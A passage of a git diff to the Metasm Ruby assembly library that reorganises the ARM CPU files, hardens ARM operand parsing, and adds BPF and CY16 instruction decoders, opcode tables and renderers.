+    addop_t 'pop',  0b1011_1100 << 8, :rlist
+    addop_t 'pop',  0b1011_1101 << 8, :rlist
+    #addop_t 'unpredictable', 0b1011_0110_0100_0000, :i4
+    addop_t 'setendle', 0b1011_0110_0101_0000
+    addop_t 'setendbe', 0b1011_0110_0101_1000
+    addop_t 'cps', 0b1011_0110_0110_0000
+    #addop_t 'unpredictable', 0b1011_0110_0110_1000, :msk_0001_0111
+    addop_t 'rev',   0b1011_1010_00 << 6, :rd, :rn
+    addop_t 'rev16', 0b1011_1010_01 << 6, :rd, :rn
+    addop_t 'revsh', 0b1011_1010_11 << 6, :rd, :rn
+    addop_t 'bkpt',  0b1011_1110 << 8, :i8
+    addop_t 'it',    0b1011_1111 << 8, :itcond, :itmsk
+    addop_t 'nop',   0b1011_1111_0000_0000
+    addop_t 'yield', 0b1011_1111_0000_0001
+    addop_t 'wfe',   0b1011_1111_0000_0010
+    addop_t 'wfi',   0b1011_1111_0000_0011
+    addop_t 'sev',   0b1011_1111_0000_0100
+    addop_t 'nop',   0b1011_1111_0000_0000, :i4
+
+
+    addop_t 'stmia', 0b11000 << 11, :rn, :rlist	# stmea
+    addop_t 'ldmia', 0b11001 << 11, :rn, :rlist	# ldmfd
+    addop_t 'undef', 0b1101_1110 << 8, :i8
+    addop_t 'svc',   0b1101_1111 << 8, :i8
+    addop_t 'b',     0b1101 << 12, :cond, :i8
+    addop_t 'b',     0b11100 << 11, :i11
+
+    # thumb-32
+  end
+
+  def init_arm_v6_thumb2
+    init_arm_v6
+    init_arm_thumb2
+  end
+  alias init_latest init_arm_v6_thumb2
+end
+end
diff --git a/lib/metasm/metasm/arm/parse.rb b/lib/metasm/metasm/cpu/arm/parse.rb
similarity index 74%
rename from lib/metasm/metasm/arm/parse.rb
rename to lib/metasm/metasm/cpu/arm/parse.rb
index a7bf5ab941..2a1bdfe44c 100644
--- a/lib/metasm/metasm/arm/parse.rb
+++ b/lib/metasm/metasm/cpu/arm/parse.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/arm/opcodes'
+require 'metasm/cpu/arm/opcodes'
 require 'metasm/parse'
 
 module Metasm
@@ -26,24 +26,32 @@ class ARM
 
   def parse_arg_valid?(op, sym, arg)
     case sym
-    when :rd, :rs, :rn, :rm; arg.kind_of? Reg and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr])
-    when :rm_rs; arg.kind_of? Reg and arg.shift.kind_of? Reg
-    when :rm_is; arg.kind_of? Reg and arg.shift.kind_of? Integer
-    when :i16, :i24, :i8_12, :i8_r; arg.kind_of? Expression
+    when :rd, :rs, :rn, :rm; arg.kind_of?(Reg) and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr])
+    when :rm_rs; arg.kind_of?(Reg) and arg.shift.kind_of?(Reg)
+    when :rm_is; arg.kind_of?(Reg) and arg.shift.kind_of?(Integer)
+    when :i12, :i24, :i8_12; arg.kind_of?(Expression)
+    when :i8_r
+      if arg.kind_of?(Expression)
+        b = arg.reduce
+        !b.kind_of?(Integer) or (0..15).find {
+            b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3)
+            b < 0x100 }
+      end
     when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12
       os = case sym
            when :mem_rn_rm; :rm
            when :mem_rn_i8_12; :i8_12
            when :mem_rn_rms; :rm_rs
-           when :mem_rn_i12; :i16
+           when :mem_rn_i12; :i12
            end
-      arg.kind_of? Memref and parse_arg_valid?(op, os, arg.offset)
-    when :reglist; arg.kind_of? RegList
+      arg.kind_of?(Memref) and parse_arg_valid?(op, os, arg.offset)
+    when :reglist; arg.kind_of?(RegList)
     end
     # TODO check flags on reglist, check int values
   end
 
   def parse_argument(lexer)
+    raise lexer, "unexpected EOS" if not lexer.nexttok
     if Reg.s_to_i[lexer.nexttok.raw]
       arg = Reg.new Reg.s_to_i[lexer.readtok.raw]
       lexer.skip_space
@@ -62,22 +70,24 @@ class ARM
       when '!'
         lexer.readtok
         arg.updated = true
-      end
+      end if lexer.nexttok
     elsif lexer.nexttok.raw == '{'
       lexer.readtok
       arg = RegList.new
       loop do
-        raise "unterminated reglist" if lexer.eos?
         lexer.skip_space
+        raise "unterminated reglist" if lexer.eos?
         if Reg.s_to_i[lexer.nexttok.raw]
           arg.list << Reg.new(Reg.s_to_i[lexer.readtok.raw])
           lexer.skip_space
+          raise "unterminated reglist" if lexer.eos?
         end
         case lexer.nexttok.raw
         when ','; lexer.readtok
         when '-'
           lexer.readtok
           lexer.skip_space
+          raise "unterminated reglist" if lexer.eos?
           if not r = Reg.s_to_i[lexer.nexttok.raw]
             raise lexer, "reglist parse error: invalid range"
           end
@@ -95,20 +105,22 @@ class ARM
       end
     elsif lexer.nexttok.raw == '['
       lexer.readtok
+      raise "unexpected EOS" if lexer.eos?
       if not base = Reg.s_to_i[lexer.nexttok.raw]
         raise lexer, 'invalid mem base (reg expected)'
       end
       base = Reg.new Reg.s_to_i[lexer.readtok.raw]
+      raise "unexpected EOS" if lexer.eos?
       if lexer.nexttok.raw == ']'
         lexer.readtok
-        closed = true
+        #closed = true
       end
-      if lexer.nexttok.raw != ','
+      if !lexer.nexttok or lexer.nexttok.raw != ','
         raise lexer, 'mem off expected'
       end
       lexer.readtok
       off = parse_argument(lexer)
-      if not off.kind_of? Expression and not off.kind_of? Reg
+      if not off.kind_of?(Expression) and not off.kind_of?(Reg)
         raise lexer, 'invalid mem off (reg/imm expected)'
       end
       case lexer.nexttok and lexer.nexttok.raw
diff --git a/lib/metasm/metasm/arm/render.rb b/lib/metasm/metasm/cpu/arm/render.rb
similarity index 89%
rename from lib/metasm/metasm/arm/render.rb
rename to lib/metasm/metasm/cpu/arm/render.rb
index 473071d35f..a39e808752 100644
--- a/lib/metasm/metasm/arm/render.rb
+++ b/lib/metasm/metasm/cpu/arm/render.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 require 'metasm/render'
-require 'metasm/arm/opcodes'
+require 'metasm/cpu/arm/opcodes'
 
 module Metasm
 class ARM
@@ -19,7 +19,7 @@ class ARM
         ["#{r} RRX"]
       else
         case s = @shift
-        when Integer; s = Expression[s]
+        when Integer; s = Expression[s == 0 ? 32 : s]	# lsl and ror already accounted for
         when Reg; s = self.class.i_to_s[s.i]
         end
         ["#{r} #{@stype.to_s.upcase} #{s}"]
diff --git a/lib/metasm/metasm/ppc.rb b/lib/metasm/metasm/cpu/bpf.rb
similarity index 63%
rename from lib/metasm/metasm/ppc.rb
rename to lib/metasm/metasm/cpu/bpf.rb
index 13b218461a..58a22abf0c 100644
--- a/lib/metasm/metasm/ppc.rb
+++ b/lib/metasm/metasm/cpu/bpf.rb
@@ -5,7 +5,5 @@
 
 
 require 'metasm/main'
-require 'metasm/ppc/parse'
-require 'metasm/ppc/encode'
-require 'metasm/ppc/decode'
-require 'metasm/ppc/decompile'
+require 'metasm/cpu/bpf/decode'
+require 'metasm/cpu/bpf/render'
diff --git a/lib/metasm/metasm/cpu/bpf/decode.rb b/lib/metasm/metasm/cpu/bpf/decode.rb
new file mode 100644
index 0000000000..30451389fc
--- /dev/null
+++ b/lib/metasm/metasm/cpu/bpf/decode.rb
@@ -0,0 +1,142 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/cpu/bpf/opcodes'
+require 'metasm/decode'
+
+module Metasm
+class BPF
+  def build_bin_lookaside
+    opcode_list.inject({}) { |h, op| h.update op.bin => op }
+  end
+
+  # tries to find the opcode encoded at edata.ptr
+  def decode_findopcode(edata)
+    return if edata.ptr > edata.data.length-8
+    di = DecodedInstruction.new self
+    code = edata.data[edata.ptr, 2].unpack('v')[0]
+    return di if di.opcode = @bin_lookaside[code]
+  end
+
+  def decode_instr_op(edata, di)
+    op = di.opcode
+    di.instruction.opname = op.name
+    di.bin_length = 8
+    code, jt, jf, k = edata.read(8).unpack('vCCV')
+
+    op.args.each { |a|
+      di.instruction.args << case a
+      when :k;    Expression[k]
+      when :x;    Reg.new(:x)
+      when :a;    Reg.new(:a)
+      when :len;  Reg.new(:len)
+      when :p_k;  PktRef.new(nil, Expression[k], op.props[:msz])
+      when :p_xk; PktRef.new(Reg.new(:x), Expression[k], op.props[:msz])
+      when :m_k;  MemRef.new(nil, Expression[4*k], 4)
+      when :jt;   Expression[jt]
+      when :jf;   Expression[jf]
+      else raise "unhandled arg #{a}"
+      end
+    }
+
+    # je a, x, 0, 12 -> jne a, x, 12
+    # je a, x, 12, 0 -> je a, x, 12
+    if op.args[2] == :jt and di.instruction.args[2] == Expression[0]
+      di.opcode = op.dup
+      di.opcode.props.delete :stopexec
+      di.instruction.opname = { 'jg' => 'jle', 'jge' => 'jl', 'je' => 'jne', 'jtest' => 'jntest' }[di.instruction.opname]
+      di.instruction.args.delete_at(2)
+    elsif op.args[3] == :jf and di.instruction.args[3] == Expression[0]
+      di.opcode = op.dup
+      di.opcode.props.delete :stopexec
+      di.instruction.args.delete_at(3)
+    end
+
+    di
+  end
+
+  def decode_instr_interpret(di, addr)
+    if di.opcode.props[:setip]
+      delta = di.instruction.args[-1].reduce + 1
+      arg = Expression[addr, :+, 8*delta].reduce
+      di.instruction.args[-1] = Expression[arg]
+
+      if di.instruction.args.length == 4
+        delta = di.instruction.args[2].reduce + 1
+        arg = Expression[addr, :+, 8*delta].reduce
+        di.instruction.args[2] = Expression[arg]
+      end
+    end
+
+    di
+  end
+
+  # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding }
+  def backtrace_binding
+    @backtrace_binding ||= init_backtrace_binding
+  end
+  def backtrace_binding=(b) @backtrace_binding = b end
+
+  # populate the @backtrace_binding hash with default values
+  def init_backtrace_binding
+    @backtrace_binding ||= {}
+
+    opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op|
+      binding = case op
+      when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } }
+      when 'add'; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } }
+      when 'sub'; lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } }
+      when 'mul'; lambda { |di, a0, a1| { a0 => Expression[a0, :*, a1] } }
+      when 'div'; lambda { |di, a0, a1| { a0 => Expression[a0, :/, a1] } }
+      when 'shl'; lambda { |di, a0, a1| { a0 => Expression[a0, :<<, a1] } }
+      when 'shr'; lambda { |di, a0, a1| { a0 => Expression[a0, :>>, a1] } }
+      when 'neg'; lambda { |di, a0| { a0 => Expression[:-, a0] } }
+      when 'msh'; lambda { |di, a0, a1| { a0 => Expression[[a1, :&, 0xf], :<<, 2] } }
+      when 'jmp', 'jg', 'jge', 'je', 'jtest', 'ret'; lambda { |di, *a| { } }
+      end
+      @backtrace_binding[op] ||= binding if binding
+    }
+
+    @backtrace_binding
+  end
+
+  def get_backtrace_binding(di)
+    a = di.instruction.args.map { |arg|
+      case arg
+      when PktRef, MemRef, Reg; arg.symbolic(di)
+      else arg
+      end
+    }
+
+    if binding = backtrace_binding[di.opcode.name]
+      binding[di, *a]
+    else
+      puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
+      {:incomplete_binding => Expression[1]}
+    end
+  end
+
+  def get_xrefs_x(dasm, di)
+    return [] if not di.opcode.props[:setip]
+
+    if di.instruction.args.length == 4
+      di.instruction.args[-2, 2]
+    else
+      di.instruction.args[-1, 1]
+    end
+  end
+
+  # updates an instruction's argument replacing an expression with another (eg label renamed)
+  def replace_instr_arg_immediate(i, old, new)
+    i.args.map! { |a|
+      case a
+      when Expression; a == old ? new : Expression[a.bind(old => new).reduce]
+      else a
+      end
+    }
+  end
+end
+end
diff --git a/lib/metasm/metasm/cpu/bpf/main.rb b/lib/metasm/metasm/cpu/bpf/main.rb
new file mode 100644
index 0000000000..b070065cd7
--- /dev/null
+++ b/lib/metasm/metasm/cpu/bpf/main.rb
@@ -0,0 +1,60 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/main'
+
+module Metasm
+class BPF < CPU
+  class Reg
+    attr_accessor :v
+    def initialize(v)
+      @v = v
+    end
+
+    def symbolic(orig=nil) ; @v ; end
+  end
+
+  class MemRef
+    attr_accessor :base, :offset, :msz
+
+    def memtype
+      :mem
+    end
+
+    def initialize(base, offset, msz)
+      @base = base
+      @offset = offset
+      @msz = msz
+    end
+
+    def symbolic(orig)
+      p = Expression[memtype]
+      p = Expression[p, :+, @base.symbolic] if base
+      p = Expression[p, :+, @offset] if offset
+      Indirection[p, @msz, orig]
+    end
+  end
+
+  class PktRef < MemRef
+    def memtype
+      :pkt
+    end
+  end
+
+  def initialize(family = :latest)
+    super()
+    @endianness = :big
+    @size = 32
+    @family = family
+  end
+
+  def init_opcode_list
+    send("init_#@family")
+    @opcode_list
+  end
+end
+end
+
diff --git a/lib/metasm/metasm/cpu/bpf/opcodes.rb b/lib/metasm/metasm/cpu/bpf/opcodes.rb
new file mode 100644
index 0000000000..35a55eb0b7
--- /dev/null
+++ b/lib/metasm/metasm/cpu/bpf/opcodes.rb
@@ -0,0 +1,81 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'metasm/cpu/bpf/main'
+
+module Metasm
+
+class BPF
+  def addop(name, bin, *args)
+    o = Opcode.new name, bin
+    args.each { |a|
+      o.args << a if @valid_args[a]
+      o.props.update a if a.kind_of?(::Hash)
+    }
+    @opcode_list << o
+  end
+
+  def addop_ldx(bin, src)
+    addop 'mov', bin | 0x00, :a, src
+    addop 'mov', bin | 0x01, :x, src
+  end
+
+  def addop_ldsz(bin, src)
+    addop 'mov', bin | 0x00, :a, src, :msz => 4
+    addop 'mov', bin | 0x08, :a, src, :msz => 2
+    addop 'mov', bin | 0x10, :a, src, :msz => 1
+  end
+
+  def addop_alu(name, bin)
+    addop name, bin | 0x04, :a, :k
+    addop name, bin | 0x0C, :a, :x
+  end
+
+  def addop_j(name, bin)
+    addop name, bin | 0x05 | 0x00, :a, :k, :jt, :jf, :setip => true, :stopexec => true
+    addop name, bin | 0x05 | 0x08, :a, :x, :jt, :jf, :setip => true, :stopexec => true
+  end
+
+  def init_bpf
+    @opcode_list = []
+    [:a, :k, :x, :len, :m_k, :p_k, :p_xk, :jt, :jf].each { |a| @valid_args[a] = true }
+
+    # LD/ST
+    addop_ldx  0x00, :k
+    addop_ldsz 0x20, :p_k
+    addop_ldsz 0x40, :p_xk
+    addop_ldx  0x60, :m_k
+    addop_ldx  0x80, :len
+    addop 'msh', 0xB1, :x, :p_k, :msz => 1
+    addop 'mov', 0x02, :m_k, :a
+    addop 'mov', 0x03, :m_k, :x
+
+    # ALU
+    addop_alu 'add', 0x00
+    addop_alu 'sub', 0x10
+    addop_alu 'mul', 0x20
+    addop_alu 'div', 0x30
+    addop_alu 'or',  0x40
+    addop_alu 'and', 0x50
+    addop_alu 'shl', 0x60
+    addop_alu 'shr', 0x70
+    addop 'neg', 0x84, :a
+
+    # JMP
+    addop   'jmp',  0x05, :k, :setip => true, :stopexec => true
+    addop_j 'je',   0x10
+    addop_j 'jg',   0x20
+    addop_j 'jge',  0x30
+    addop_j 'jtest',0x40
+    addop   'ret',  0x06, :k, :stopexec => true
+    addop   'ret',  0x16, :a, :stopexec => true
+
+    addop 'mov', 0x07, :x, :a
+    addop 'mov', 0x87, :a, :x
+  end
+
+  alias init_latest init_bpf
+end
+end
diff --git a/lib/metasm/metasm/cpu/bpf/render.rb b/lib/metasm/metasm/cpu/bpf/render.rb
new file mode 100644
index 0000000000..1b4a68a27a
--- /dev/null
+++ b/lib/metasm/metasm/cpu/bpf/render.rb
@@ -0,0 +1,41 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/cpu/bpf/opcodes'
+require 'metasm/render'
+
+module Metasm
+class BPF
+  class Reg
+    include Renderable
+    def render ; [@v.to_s] end
+  end
+  class MemRef
+    include Renderable
+    def render
+      r = []
+      r << memtype
+      r << [nil, ' byte ', ' word ', nil, ' dword '][@msz]
+      r << '['
+      r << @base if @base
+      r << '+' if @base and @offset
+      r << @offset if @offset
+      r << ']'
+    end
+  end
+
+  def render_instruction(i)
+    r = []
+    r << i.opname
+    if not i.args.empty?
+      r << ' '
+      i.args.each { |a_| r << a_ << ', ' }
+      r.pop
+    end
+    r
+  end
+end
+end
diff --git a/lib/metasm/metasm/cpu/cy16.rb b/lib/metasm/metasm/cpu/cy16.rb
new file mode 100644
index 0000000000..bee7099f2e
--- /dev/null
+++ b/lib/metasm/metasm/cpu/cy16.rb
@@ -0,0 +1,9 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/main'
+require 'metasm/cpu/cy16/decode'
+require 'metasm/cpu/cy16/render'
diff --git a/lib/metasm/metasm/cpu/cy16/decode.rb b/lib/metasm/metasm/cpu/cy16/decode.rb
new file mode 100644
index 0000000000..c3bc9a5812
--- /dev/null
+++ b/lib/metasm/metasm/cpu/cy16/decode.rb
@@ -0,0 +1,253 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/cpu/cy16/opcodes'
+require 'metasm/decode'
+
+module Metasm
+class CY16
+  def build_opcode_bin_mask(op)
+    # bit = 0 if can be mutated by an field value, 1 if fixed by opcode
+    op.bin_mask = 0
+    op.fields.each { |f, off|
+      op.bin_mask |= (@fields_mask[f] << off)
+    }
+    op.bin_mask ^= 0xffff
+  end
+
+  def build_bin_lookaside
+    # sets up a hash byte value => list of opcodes that may match
+    # opcode.bin_mask is built here
+    lookaside = Array.new(256) { [] }
+    opcode_list.each { |op|
+      build_opcode_bin_mask op
+      b   = (op.bin >> 8) & 0xff
+      msk = (op.bin_mask >> 8) & 0xff
+      for i in b..(b | (255^msk))
+        lookaside[i] << op if i & msk == b & msk
+      end
+    }
+    lookaside
+  end
+
+  def decode_findopcode(edata)
+    di = DecodedInstruction.new self
+    return if edata.ptr+2 > edata.length
+    bin = edata.decode_imm(:u16, @endianness)
+    edata.ptr -= 2
+    return di if di.opcode = @bin_lookaside[(bin >> 8) & 0xff].find { |op|
+      bin & op.bin_mask == op.bin & op.bin_mask
+    }
+  end
+
+
+  def decode_instr_op_r(val, edata)
+    bw = ((val & 0b1000) > 0 ? 1 : 2)
+    case val & 0b11_0000
+    when 0b00_0000
+      Reg.new(val)
+    when 0b01_0000
+      if val == 0b01_1111
+        Expression[edata.decode_imm(:u16, @endianness)]
+      else
+        Memref.new(Reg.new(8+(val&7)), nil, bw)
+      end
+    when 0b10_0000
+      if val & 7 == 7
+        Memref.new(nil, edata.decode_imm(:u16, @endianness), bw)
+      else
+        Memref.new(Reg.new(8+(val&7)), nil, bw, true)
+      end
+    when 0b11_0000
+      Memref.new(Reg.new(8+(val&7)), edata.decode_imm(:u16, @endianness), bw)
+    end
+
+  end
+
+  def decode_instr_op(edata, di)
+    before_ptr = edata.ptr
+    op = di.opcode
+    di.instruction.opname = op.name
+    bin = edata.decode_imm(:u16, @endianness)
+
+    field_val = lambda { |f|
+      if off = op.fields[f]
+        (bin >> off) & @fields_mask[f]
+      end
+    }
+
+    op.args.each { |a|
+      di.instruction.args << case a
+      when :rs, :rd; decode_instr_op_r(field_val[a], edata)
+      when :o7; Expression[2*Expression.make_signed(field_val[a], 7)]
+      when :x7; Expression[field_val[a]]
+      when :u3; Expression[field_val[a]+1]
+      else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
+      end
+    }
+
+    di.instruction.args.reverse!
+
+    di.bin_length += edata.ptr - before_ptr
+
+    di
+  rescue InvalidRD
+  end
+
+  def decode_instr_interpret(di, addr)
+    if di.opcode.props[:setip] and di.opcode.args.last == :o7
+      delta = di.instruction.args.last.reduce
+      arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce
+      di.instruction.args[-1] = Expression[arg]
+    end
+
+    di
+  end
+
+  # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding }
+  def backtrace_binding
+    @backtrace_binding ||= init_backtrace_binding
+  end
+  def backtrace_binding=(b) @backtrace_binding = b end
+
+  # populate the @backtrace_binding hash with default values
+  def init_backtrace_binding
+    @backtrace_binding ||= {}
+
+    mask = 0xffff
+
+    opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op|
+      binding = case op
+      when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } }
+      when 'add', 'adc', 'sub', 'sbc', 'and', 'xor', 'or', 'addi', 'subi'
+        lambda { |di, a0, a1|
+          e_op = { 'add' => :+, 'adc' => :+, 'sub' => :-, 'sbc' => :-, 'and' => :&,
+             'xor' => :^, 'or' => :|, 'addi' => :+, 'subi' => :- }[op]
+          ret = Expression[a0, e_op, a1]
+          ret = Expression[ret, e_op, :flag_c] if op == 'adc' or op == 'sbb'
+          # optimises eax ^ eax => 0
+          # avoid hiding memory accesses (to not hide possible fault)
+          ret = Expression[ret.reduce] if not a0.kind_of? Indirection
+          { a0 => ret }
+        }
+      when 'cmp', 'test'; lambda { |di, *a| {} }
+      when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask] } }
+      when 'call'
+        lambda { |di, a0| { :sp => Expression[:sp, :-, 2],
+            Indirection[:sp, 2, di.address] => Expression[di.next_addr] }
+        }
+      when 'ret'; lambda { |di, *a| { :sp => Expression[:sp, :+, 2] } }
+      # TODO callCC, retCC ...
+      when /^j/; lambda { |di, *a| {} }
+      end
+
+      # TODO flags ?
+
+      @backtrace_binding[op] ||= binding if binding
+    }
+    @backtrace_binding
+  end
+
+  def get_backtrace_binding(di)
+    a = di.instruction.args.map { |arg|
+      case arg
+      when Memref, Reg; arg.symbolic(di)
+      else arg
+      end
+    }
+
+    if binding = backtrace_binding[di.opcode.basename]
+      bd = {}
+      di.instruction.args.each { |aa| bd[aa.base.symbolic] = Expression[aa.base.symbolic, :+, aa.sz] if aa.kind_of?(Memref) and aa.autoincr }
+      bd.update binding[di, *a]
+    else
+      puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
+      # assume nothing except the 1st arg is modified
+      case a[0]
+      when Indirection, Symbol; { a[0] => Expression::Unknown }
+      when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {}
+      else {}
+      end.update(:incomplete_binding => Expression[1])
+    end
+  end
+
+  # patch a forward binding from the backtrace binding
+  def fix_fwdemu_binding(di, fbd)
+    case di.opcode.name
+    when 'call'; fbd[Indirection[[:sp, :-, 2], 2]] = fbd.delete(Indirection[:sp, 2])
+    end
+    fbd
+  end
+
+  def get_xrefs_x(dasm, di)
+    return [] if not di.opcode.props[:setip]
+
+    return [Indirection[:sp, 2, di.address]] if di.opcode.name =~ /^r/
+
+    case tg = di.instruction.args.first
+    when Memref; [Expression[tg.symbolic(di)]]
+    when Reg; [Expression[tg.symbolic(di)]]
+    when Expression, ::Integer; [Expression[tg]]
+    else
+      puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG
+      []
+    end
+  end
+
+  # checks if expr is a valid return expression matching the :saveip instruction
+  def backtrace_is_function_return(expr, di=nil)
+    expr = Expression[expr].reduce_rec
+    expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp]
+  end
+
+  # updates the function backtrace_binding
+  # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand)
+  def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs)
+    b = f.backtrace_binding
+
+    bt_val = lambda { |r|
+      next if not retaddrlist
+      b[r] = Expression::Unknown
+      bt = []
+      retaddrlist.each { |retaddr|
+        bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true,
+               :snapshot_addr => faddr, :origin => retaddr)
+      }
+      if bt.length != 1
+        b[r] = Expression::Unknown
+      else
+        b[r] = bt.first
+      end
+    }
+
+    if not wantregs.empty?
+      wantregs.each(&bt_val)
+    else
+      bt_val[:sp]
+    end
+
+    b
+  end
+
+  # returns true if the expression is an address on the stack
+  def backtrace_is_stack_address(expr)
+    Expression[expr].expr_externals.include?(:sp)
+  end
+
+  # updates an instruction's argument replacing an expression with another (eg label renamed)
+  def replace_instr_arg_immediate(i, old, new)
+    i.args.map! { |a|
+      case a
+      when Expression; a == old ? new : Expression[a.bind(old => new).reduce]
+      when Memref
+        a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset
+        a
+      else a
+      end
+    }
+  end
+end
+end
diff --git a/lib/metasm/metasm/cpu/cy16/main.rb b/lib/metasm/metasm/cpu/cy16/main.rb
new file mode 100644
index 0000000000..704bda76c5
--- /dev/null
+++ b/lib/metasm/metasm/cpu/cy16/main.rb
@@ -0,0 +1,63 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/main'
+
+module Metasm
+class CY16 < CPU
+  class Reg
+    class << self
+      attr_accessor :s_to_i, :i_to_s
+    end
+    @i_to_s = (0..14).inject({}) { |h, i| h.update i => "r#{i}" }
+    @i_to_s[15] = 'sp'
+    @s_to_i = @i_to_s.invert
+
+    attr_accessor :i
+    def initialize(i)
+      @i = i
+    end
+
+    def symbolic(orig=nil) ; to_s.to_sym ; end
+
+    def self.from_str(s)
+      raise "Bad name #{s.inspect}" if not x = @s_to_i[s]
+      new(x)
+    end
+  end
+
+  class Memref
+    attr_accessor :base, :offset, :sz, :autoincr
+    def initialize(base, offset, sz=nil, autoincr=nil)
+      @base = base
+      offset = Expression[offset] if offset
+      @offset = offset
+      @sz = sz
+      @autoincr = autoincr
+    end
+
+    def symbolic(orig)
+      p = nil
+      p = Expression[p, :+, @base.symbolic] if base
+      p = Expression[p, :+, @offset] if offset
+      Indirection[p.reduce, @sz, orig]
+    end
+  end
+
+  def initialize(family = :latest)
+    super()
+    @endianness = :little
+    @size = 16
+    @family = family
+  end
+
+  def init_opcode_list
+    send("init_#@family")
+    @opcode_list
+  end
+end
+end
+
diff --git a/lib/metasm/metasm/cpu/cy16/opcodes.rb b/lib/metasm/metasm/cpu/cy16/opcodes.rb
new file mode 100644
index 0000000000..1fb20e4953
--- /dev/null
+++ b/lib/metasm/metasm/cpu/cy16/opcodes.rb
@@ -0,0 +1,78 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'metasm/cpu/cy16/main'
+
+module Metasm
+
+class CY16
+  def addop(name, bin, *args)
+    o = Opcode.new name, bin
+    args.each { |a|
+      o.args << a if @fields_mask[a] or @valid_args[a]
+      o.props[a] = true if @valid_props[a]
+      o.fields[a] = @fields_shift[a] if @fields_mask[a]
+      raise "wtf #{a.inspect}" unless @valid_args[a] or @valid_props[a] or @fields_mask[a]
+    }
+    @opcode_list << o
+  end
+
+  def addop_macrocc(name, bin, *args)
+    %w[z nz b ae s ns o no a be g ge l le].each_with_index { |cc, i|
+      dbin = bin
+      dbin |= i << 8
+      addop name + cc, dbin, *args
+    }
+  end
+
+  def init_cy16
+    @opcode_list = []
+    @valid_args.update [:rs, :rd, :o7
+    ].inject({}) { |h, v| h.update v => true }
+    @fields_mask.update :rs => 0x3f, :rd => 0x3f, :o7 => 0x7f, :x7 => 0x7f, :u3 => 7
+    @fields_shift.update :rs => 6, :rd => 0, :o7 => 0, :x7 => 0, :u3 => 6
+
+    addop 'mov', 0<<12, :rs, :rd
+    addop 'add', 1<<12, :rs, :rd
+    addop 'adc', 2<<12, :rs, :rd
+    addop 'addc',2<<12, :rs, :rd
+    addop 'sub', 3<<12, :rs, :rd
+    addop 'sbb', 4<<12, :rs, :rd
+    addop 'subb',4<<12, :rs, :rd
+    addop 'cmp', 5<<12, :rs, :rd
+    addop 'and', 6<<12, :rs, :rd
+    addop 'test',7<<12, :rs, :rd
+    addop 'or',  8<<12, :rs, :rd
+    addop 'xor', 9<<12, :rs, :rd
+
+    addop_macrocc 'int', (10<<12), :x7
+    addop 'int', (10<<12) | (15<<8), :x7
+    addop_macrocc 'c', (10<<12) | (1<<7), :setip, :saveip, :rd
+    addop 'call',(10<<12) | (15<<8) | (1<<7), :setip, :stopexec, :saveip, :rd
+    addop_macrocc 'r', (12<<12) | (1<<7) | 0b010111, :setip	# must come before absolute jmp
+    addop 'ret', (12<<12) | (15<<8) | (1<<7) | 0b010111, :setip, :stopexec
+    addop_macrocc 'j', (12<<12), :setip, :o7	# relative
+    addop 'jmp', (12<<12) | (15<<8), :setip, :stopexec, :o7	# relative
+    addop_macrocc 'j', (12<<12) | (1<<7), :setip, :rd	# absolute
+    addop 'jmp', (12<<12) | (15<<8) | (1<<7), :setip, :stopexec, :rd	# absolute
+
+    addop 'shr', (13<<12) | (0<<9), :u3, :rd
+    addop 'shl', (13<<12) | (1<<9), :u3, :rd
+    addop 'ror', (13<<12) | (2<<9), :u3, :rd
+    addop 'rol', (13<<12) | (3<<9), :u3, :rd
+    addop 'addi',(13<<12) | (4<<9), :u3, :rd
+    addop 'subi',(13<<12) | (5<<9), :u3, :rd
